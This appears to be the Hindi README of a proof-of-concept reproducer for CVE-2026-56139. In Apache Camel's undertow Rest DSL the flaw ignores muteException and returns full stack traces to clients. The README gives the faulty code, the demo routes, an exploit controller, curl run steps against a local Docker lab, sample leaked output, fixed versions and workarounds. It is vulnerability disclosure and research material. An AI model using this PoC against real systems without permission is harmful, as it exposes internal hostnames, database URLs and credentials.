
CVE-2026-56139 (Apache Camel camel-undertow Rest DSL) के लिए PoC पुनरुत्पादक: Rest DSL बाइंडिंग muteException=false को हार्ड-कोड करता है, इसलिए कॉन्फ़िगर किया गया muteException=true अनदेखा किया जाता है और एक अनकैच्ड अपवाद का पूरा स्टैक ट्रेस क्लाइंट को लौटा दिया जाता है (CWE-209)। 4.14.8/4.18.3/4.21.0 में ठीक किया गया।
यह प्रोजेक्ट Apache Camel के camel-undertow Rest DSL उपभोक्ता में information-disclosure समस्या को प्रदर्शित करता है, जिसे CVE-2026-56139 के रूप में ट्रैक किया गया है। muteException विकल्प नियंत्रित करता है कि क्या अनकॉट किए गए प्रोसेसिंग अपवाद का विवरण HTTP क्लाइंट को लौटाया जाता है। एक सादे undertow एंडपॉइंट पर विकल्प काम करता है — लेकिन undertow Rest DSL अपनी रिस्पॉन्स बाइंडिंग को muteException हार्ड-कोडित false के साथ बनाता है और कॉन्फ़िगर किए गए मान की कभी प्रतिलिपि नहीं बनाता, इसलिए REST मोड में muteException चुपचाप अनदेखा किया जाता है और पूरा Java स्टैक ट्रेस वैसे भी लौटाया जाता है:
// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming())); // muteException stays false
}
क्योंकि एंडपॉइंट का undertowHttpBinding अब non-null है, UndertowEndpoint.getUndertowHttpBinding() उस Rest बाइंडिंग को ज्यों-का-त्यों लौटाता है और कभी भी उस शाखा को नहीं चलाता जो एंडपॉइंट के muteException को उस पर कॉपी करती है। इसलिए एक रूट जो स्पष्ट रूप से muteException=true सेट करता है, फिर भी Rest DSL के माध्यम से सेवा देने पर स्टैक ट्रेस लीक करता है — आंतरिक बैकएंड होस्टनाम, डेटाबेस URL, क्रेडेंशियल/वॉल्ट संकेत, लाइब्रेरी संस्करण और स्रोत स्थान प्रकट करता है।
यह PoC प्रभाव को त्रुटि संदेश के माध्यम से सूचना प्रकटीकरण (CWE-209) के रूप में प्रदर्शित करता है। यह CVE-2026-49365 (जिसने सादे camel-netty-http और camel-undertow एंडपॉइंट के लिए muteException डिफ़ॉल्ट को सही किया) का Rest-DSL-विशिष्ट समकक्ष है; दोनों को CAMEL-23651 के तहत एक साथ ठीक किया गया था।
| गुण | मान |
|---|---|
| घटक | camel-undertow (Rest DSL उपभोक्ता) |
| प्रभावित वर्ग | org.apache.camel.component.undertow.UndertowComponent — RestUndertowHttpBinding बनाता है बिना muteException कॉपी किए (जो इसलिए डिफ़ॉल्ट रूप से false होता है) |
| CWE | CWE-209 (संवेदनशील जानकारी वाले त्रुटि संदेश का उत्पादन) |
| प्रभाव | पूर्ण Java स्टैक ट्रेस एक अप्रमाणित क्लाइंट को लौटाया जाता है, भले ही muteException=true कॉन्फ़िगर किया गया हो |
| पूर्वापेक्षाएँ | एक undertow Rest DSL उपभोक्ता; कोई भी अनुरोध जो प्रसंस्करण अपवाद उत्पन्न करता है |
| प्रभावित संस्करण | 4.0.0 से 4.14.8 से पहले, 4.15.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले |
| स्थिर संस्करण | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23651 (PR apache/camel#23913) |
| श्रेय | Yu Bao (PayPal) |
फिक्स Rest DSL पथ को
endpoint.getMuteException()कोRestUndertowHttpBindingमें कॉपी करने के लिए बनाता है, ताकि Rest DSL सेटिंग का सम्मान करे (और सही डिफ़ॉल्टtrue)।
// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom"); // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());
from("undertow:http://0.0.0.0:8889/plain/orders") // plain endpoint — HONOURS muteException, empty body
.process(new FailingProcessor());
CVE-2026-56139/
├── pom.xml # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FailingProcessor.java # throws an exception carrying sensitive internal detail
│ ├── RestRoutes.java # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
│ └── ExploitController.java # attacker: GETs both, shows Rest DSL leaks while plain is muted
└── resources/
└── application.properties # camel.component.undertow.mute-exception=true
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) undertow Rest DSL :8888 (muteException=true, but the Rest binding hard-codes false)
HTTP 500
response body (NNNN bytes) — LEAKS internal detail:
| java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
| jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
| at com.example.FailingProcessor.process(FailingProcessor.java:...)
| ...[truncated]
2) plain undertow endpoint :8889 (same muteException=true — honoured)
HTTP 500
response body: <empty>
>>> Information disclosure: true
4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23651) पर अपग्रेड करें। अपग्रेड करने के बाद, undertow Rest DSL muteException का सम्मान करता है (और इसे true पर डिफ़ॉल्ट करता है), इसलिए स्टैक ट्रेस वापस नहीं किया जाता।
अपग्रेड तक, एक onException(...).handled(true) (या वैश्विक त्रुटि हैंडलर) जोड़ें जो स्टैक ट्रेस के बजाय एक सामान्य संदेश लौटाए, और undertow Rest DSL उपभोक्ताओं के लिए केवल muteException पर निर्भर न रहें।
यह पुनरुत्पादक सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए, सार्वजनिक रूप से प्रकट और ठीक की गई भेद्यता के लिए प्रदान किया गया है। स्पष्ट अनुमति के बिना इसे सिस्टम के विरुद्ध उपयोग न करें।